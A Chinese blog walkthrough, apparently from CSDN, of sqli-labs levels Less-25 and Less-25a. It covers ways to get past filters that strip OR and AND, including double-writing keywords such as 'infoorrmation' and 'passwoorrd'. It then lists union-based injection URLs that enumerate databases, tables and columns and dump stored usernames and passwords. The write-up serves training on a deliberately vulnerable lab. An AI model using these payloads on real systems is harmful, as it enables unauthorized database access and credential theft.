绕过一般思路
大小写变形Or,oR,OR
编码,hex,url
添加注释/*or*/
利用符号and=&&,or=||
双写绕过
Less-25(GET - Error based - All your OR & AND belong to us - string single quuote)
手工注入
闭合方式判断
?id=1'
![](https://i-blog.csdnimg.cn/blog_migrate/5be0476c998b1d4b8798882cc7af178f.png)
单引号闭合
回显位判定
?id=-1' union select 1,2,3--+
![](https://i-blog.csdnimg.cn/blog_migrate/3e40b5b44b71c081d2553fd82e55c3e6.png)
查询数据库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
![](https://i-blog.csdnimg.cn/blog_migrate/7703ae5a23bc4afe058d3f294c1e5630.png)
注意上面的语句和下面输出语句的不同
?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata --+
![](https://i-blog.csdnimg.cn/blog_migrate/052ffced9070e328a2bac35d63e5a9e3.png)
成功看到数据库名。
查询表名
?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+
![](https://i-blog.csdnimg.cn/blog_migrate/07fb408eb07d90b58c48a3e0df8c9e03.png)
查询列名
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name="users" --+
![](https://i-blog.csdnimg.cn/blog_migrate/d36a1881a0ea83c290bf3ec2a3168db1.png)
查询数据
?id=-1' union select 1,group_concat(username,passwoorrd),3 from users --+
![](https://i-blog.csdnimg.cn/blog_migrate/38111cb5042894c7d92fbf76f5affb5f.png)
自动化注入脚本
和前面一样建议看看前面的
(1条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客
Less-25a(GET - Blind based - All your OR & AND belong to us - Intiger based)
手工注入
和上面一样只需要去掉单引号就能成功。
?id=-1 union select 1,group_concat(username,passwoorrd),3 from users --+
![](https://i-blog.csdnimg.cn/blog_migrate/e2bfc4e31c88040b760a34aa3ae7a891.png)
自动化注入脚本
和前面一样建议看看前面的
(1条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客